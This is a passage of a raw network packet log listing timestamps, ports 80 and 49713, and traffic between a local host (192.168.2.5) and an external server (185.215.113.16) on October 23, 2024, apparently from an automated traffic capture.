Oct 23, 2024 15:48:22.633615971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633651018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.633666039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633678913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633692980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633708954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633723974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633728981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.633755922 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.633791924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633806944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633822918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633841991 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.633846045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633857965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.633862019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633871078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633893013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.633912086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633929014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633943081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.633945942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.633975983 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.734920979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.735431910 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.741703987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.741740942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.741775036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.741802931 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742333889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742382050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742388964 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742417097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742449045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742494106 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742497921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742532015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742580891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742603064 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742616892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742649078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742652893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742682934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742687941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742733955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742767096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742799997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742809057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742856979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742871046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742907047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742938995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.742981911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.742986917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743021965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743026972 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743056059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743088007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743119955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743123055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743153095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743158102 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743201017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743233919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743267059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743278027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743302107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743307114 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743367910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743401051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743433952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743441105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743467093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743475914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743515015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743550062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743582010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743587971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743614912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743621111 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743649006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743681908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743715048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743721008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743746996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743760109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743797064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743829966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743863106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743870020 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743896008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743901014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.743951082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.743983030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744015932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744021893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744049072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744054079 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744097948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744131088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744169950 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744177103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744206905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744216919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744240046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744273901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744307041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744316101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744349003 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744355917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744390011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744422913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744456053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744462013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744488955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744493008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744522095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744554996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744586945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744592905 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744620085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744626045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744653940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744687080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744719028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744725943 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744752884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744757891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744801998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744884968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744918108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744929075 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744951963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.744952917 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.744983912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745017052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745049000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745059013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745085955 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745099068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745131969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745163918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745204926 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745212078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745245934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745249987 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745280027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745313883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745346069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745347977 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745379925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745384932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745413065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745445013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745476961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745482922 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745511055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745517015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745546103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745579004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745610952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745616913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745644093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745650053 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745677948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745711088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745743036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745750904 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745776892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745780945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745810032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745841980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745873928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745896101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745907068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745918036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.745939970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.745971918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746005058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746007919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746040106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746046066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746072054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746104956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746135950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746144056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746169090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746175051 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746202946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746234894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746268988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746278048 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746304035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746308088 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746339083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746371031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746402979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746407986 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746438026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746440887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746470928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746503115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746534109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746546030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746567965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746572971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746602058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746634960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746666908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746680021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746701002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746726036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746733904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746767998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746799946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746810913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746834040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746839046 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746867895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746902943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746936083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746942997 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.746968985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.746974945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747001886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747035980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747067928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747092009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747101068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747112989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747134924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747167110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747179985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747201920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747234106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747267008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747273922 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747301102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747303963 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747349977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747383118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747415066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747421026 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747451067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747452974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747483969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747515917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747549057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747554064 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747582912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747587919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747616053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747648954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747680902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747687101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747714996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747719049 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747751951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747786999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747818947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747824907 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747852087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747855902 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747884989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747917891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747950077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747956991 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.747982979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.747989893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748016119 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748049021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748080969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748085976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748114109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748121023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748147011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748178959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748210907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748217106 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748244047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748248100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748279095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748312950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748344898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748351097 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748378038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748387098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748411894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748445034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748476982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748481989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748509884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748514891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748543024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748575926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748608112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748613119 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748641968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748646021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748676062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748708963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748742104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748745918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748775959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748780966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748810053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748842955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748874903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748879910 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748908043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748913050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.748941898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.748974085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749006033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749011040 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749039888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749043941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749073029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749104977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749149084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749155998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749186039 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749186039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749217987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749250889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749255896 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749284029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749319077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749351025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749356985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749385118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749391079 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749418974 CEST	80	49713	185.215.113.16	192.168.2.5
